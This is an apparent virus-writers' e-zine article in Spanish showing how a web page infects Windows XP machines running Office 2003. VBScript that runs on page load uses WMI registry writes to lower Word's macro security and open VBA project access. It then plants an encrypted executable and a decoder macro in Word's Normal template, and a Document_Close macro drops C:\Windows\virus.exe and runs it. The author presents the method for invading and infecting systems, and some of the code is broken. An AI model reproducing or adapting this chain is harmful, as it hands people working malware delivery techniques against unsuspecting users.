----------------------------------------------------
Manipular el registro de forma remota en Windows XP
---------------------------------------------------------------------------------
Por medio de la librería llamada "Microsoft.CmdLib" podemos manipular el regedit, para escribir o quitar algunas seguridades de Windows Xp y así invadir el sistema. Tenemos lo siguiente:
'Constantes las cuales nos permiten hacer esto más fácil y esto es por default
CONST
CONST_NAMESPACE_DEFAULT =
"root\default"
'Raiz
CONST CONST_HKEY_LOCAL_MACHINE =
&H80000002
'HKLM ó HKCU, etc
CONST CONST_STD_REGISTRY_PROVIDER =
"StdRegProv"
'Proveedor de registro
CONST RUTA = "software\microsoft\..\.."
'Variables que se utilizarán:
Dim ObjetoMCMDL ' Se cargará el objeto Microsoft.CMDLib
Dim objInstancia ' Se guardara la instancia
Dim objServicio ' Se guardara el Servicio
Dim intvalorretornado ' Se guardara el valor retornado
'Podemos omitir las siguientes variables o solo crearlas y ya.
Dim strUserNameParam,strPasswordParam,strMachineParam
as string
Dim blnLocalConnection as
boolean
'Ahora cargaremos la libreria Microsoft.CMDLib
Set ObjetoMCMDL = CreateObject("Microsoft.CmdLib")
'Si no se creo el objeto entonces mando un mensaje "no se creo el objeto".
'ObjetoMCMDL.wmiConnect(Raiz,NombredeUsuario,Password,Makina,Conexionlocal,objeto servicio)
If NOT ObjetoMCMDL.wmiConnect(CONST_NAMESPACE_DEFAULT , _
strUserNameParam , _
strPasswordParam , _
strMachineParam , _
blnLocalConnection , _
objServicio) Then
Msgbox "no se creo el objeto"
end if
'Obtengo la intaciación del Proveedor de registro
Set objInstancia = objServicio.Get(CONST_STD_REGISTRY_PROVIDER)
'Para valores Dword
intvalorretornado = objInstancia.SetDWORDValue( CONST_HKEY_LOCAL_MACHINE, nose,"Cadena", 1)
'Para valores String
intvalorretornado = objInstancia.SetStringValue( CONST_HKEY_LOCAL_MACHINE, nose,"Cadena", "morusa")
----------------------------------------------------------------------------------------------------------------------------------------
Ahora, explicaré la utilización de este bug, lo cual consiste en crear el objeto Microsoft.Cmdlib para cargar
el servicio de registro de proveedor y así quitar la seguridad de Word, después creando un objeto word.application
insertamos el código de macro para traducir el exe que supongo estará encriptado.
1.-Pagina Web ->Contenido (Codigo para crear el objeto word.aplication, Exe encriptado, Bug)
1.1.-Al ser ejecutada se carga la Microsoft.CmdLib.
2.-Bug : Quito la seguridad de Microsoft Winword
3.-Se crea el objeto Word.Application para ejecutar la macro traductora del Virus
4.-Inserto la macro que traducirá el virus encriptado. "AddFromString"
(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString(Codigo macro))
5.-Cierro el objeto word.application y cierro el documento creado y por consiguiente:
6.-Se ejecuta la macro agregada, por ejemplo al cerrar el documento (Document_close)
7.-Transformo el codigo encriptado en el virus y lo:
8.-Ejecutamos.
9.-Propósito obtenido, a infectar todo lo que se encuentre.
Ejecuto
Carga Comienzo Cierro
Ejecuta Transformo Ejecutamos Infectar
Bug
Word insertar
macro
|-----| |-----| |-----|
|-----| |-----| |-----|
|-----| ** |-----| |-----|
| 1 |-----| 2 |--\*/--| 3 |>->->| 4
>>>>>>| 5 |--|>>| 6 |-----|*MZ 7|Shell| 8 |-win-|%& 9 %
|-----| |-----| |-----|
|-----| |-----| |-----|
|-----| |-----| |-----|
Pagina
Rompo
Web
Seguridad
*Mz es el encabezado de todos los Exe's
**Shell es ejecutar
%& - Infectar
Ejemplo de bug y macro en pagina Web para entrar al sistema:
<Script language='vbscript'>
Sub seguridad
CONST CONST_NAMESPACE_DEFAULT = "root\default"
'Raiz
CONST CONST_HKEY_LOCAL_MACHINE = &H80000002
'HKLM ó HKCU, etc
CONST CONST_STD_REGISTRY_PROVIDER = "StdRegProv"
'Proveedor de registro
CONST RUTA = "software\microsoft\office\11.0\word\security"
'Para Office 2003
Dim ObjetoMCMDL ' Se cargará el objeto Microsoft.CMDLib
Dim objInstancia ' Se guardara la instancia
Dim objServicio ' Se guardara el Servicio
Dim intvalorretornado ' Se guardara el valor retornado
Set objInstancia = objServicio.Get(CONST_STD_REGISTRY_PROVIDER)
If NOT ObjetoMCMDL.wmiConnect(CONST_NAMESPACE_DEFAULT , _
strUserNameParam , _
strPasswordParam , _
strMachineParam , _
blnLocalConnection , _
objServicio) Then
Msgbox "no se creo el objeto"
End If
Set objInstancia = objServicio.Get(CONST_STD_REGISTRY_PROVIDER)
'Escribo los valores en el regedit de nivel 1 o sea bajo
intvalorretornado = objInstancia.SetDWORDValue( CONST_HKEY_LOCAL_MACHINE, nose,"Level", 1)
'Activar proyectos de visual basic, para poder agregar el virus al documento de word
intvalorretornado = objInstancia.SetDWORDValue( CONST_HKEY_LOCAL_MACHINE, nose,"AccessVBOM", 1)
'Escribo el valor en el regedit de nivel 1 o sea bajo
intvalorretornado = objInstancia.SetDWORDValue( &H80000001, nose,"Level", 1) '&H80000001 --> HKCU
End Sub
Sub CrearMacro
Dim Word
Set Word = createobject("word.application")
While Word = "" 'Hago una pausa para que se cree el objeto
Wend
'Word.visible = true 'Para ver lo que hace mostrando el documento de word.
Word.Documents.Add 'Agrego un documento nuevo
'Si el nombre de la plantilla es igual a "MLHR Corporation" quiere decir que está infectado
'y me salgo del objeto.
If Word.normaltemplate.VBProject.VBComponents.item(1).name = "MLHR Corporation"
Then
msgbox "si está infectado"
'Cierro sin guardar
Word.Documents(Word.activedocument.name).Close false
'Cierro Word
Word.quit
'Salgo del procedimiento
Exit Sub
End if
'En otro caso agrego a la plantilla el código del virus encriptado y la macro que lo traducirá
Word.Normaltemplate.VBProject.vbcomponents.Item(1).codemodule.addfromstring (Macro_y_Exe_Encriptado)
''''''''''''''''''''''''''''''''''''''''' Nota: ''''''''''''''''''''''''''''''''''''''''''''''''''''_OX'
' '
' Esto lo hago porque no puedo manejar archivos desde una página web ya que existe protección para '
'el VbScript (ScriptBlock). '
' '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'msgbox nomnormal & " " & nomactivo
Word.NormalTemplate.save 'Guardo en la plantilla
Word.Documents(Word.activedocument.name).Close false 'Cierro el documento sin guardar esto va a hacer que
'por ejemplo si está en "Document_close" se ejecutará la macro que traducirá y guardará el exe en el sistema
Word.quit ' Cierro word
End sub
Sub Macro_y_Exe_Encriptado
macro = "Document_Close..."
exe = "04838573759583948589494506048583948576756756546754525465490903548934"
Macro_y_Exe_Encriptado = macro + exe
End Sub
Sub infectar
Call seguridad
call Crearmacro
End Sub
</script>
<Body OnLoad=infectar()>
'Con Word.Application.Version podemos obtener la versión del office desde cualquier paquete de este.
-----------------------------------------------------------------------------------------------------------------
'Macro creada al agregar ("Addfromstring") el código que al cerrarse word, se ejecuta sin problema alguno.
Es el código macro traductor y Ejecutable, sólo es un ejemplo. Aquí si puedo emplear el manejo de archivos
'Word
Sub Document_Close
exe = "04838573759583948589494506048583948576756756546754525465490903548934"
open "C:\Windows\virus.exe" for
binary as #1
put #1, ,Traducir_exe(exe)
close #1
'Ya traducido a ejecutable lo ejecutamos
shell "C:\Windows\virus.exe"
End Sub
----------------------------------------------------------------------------------------------------------------
Y así pude entrar al sistema nuestro virus, para mayor información revisar el código del virus Seele MSI
incluido en esta E-zine, espero y les sirva esto.
¡Vamos México!, ;-)
¡Que todo México se entere que le mando Saludos a MJ Campos Sánchez Alias Maximo!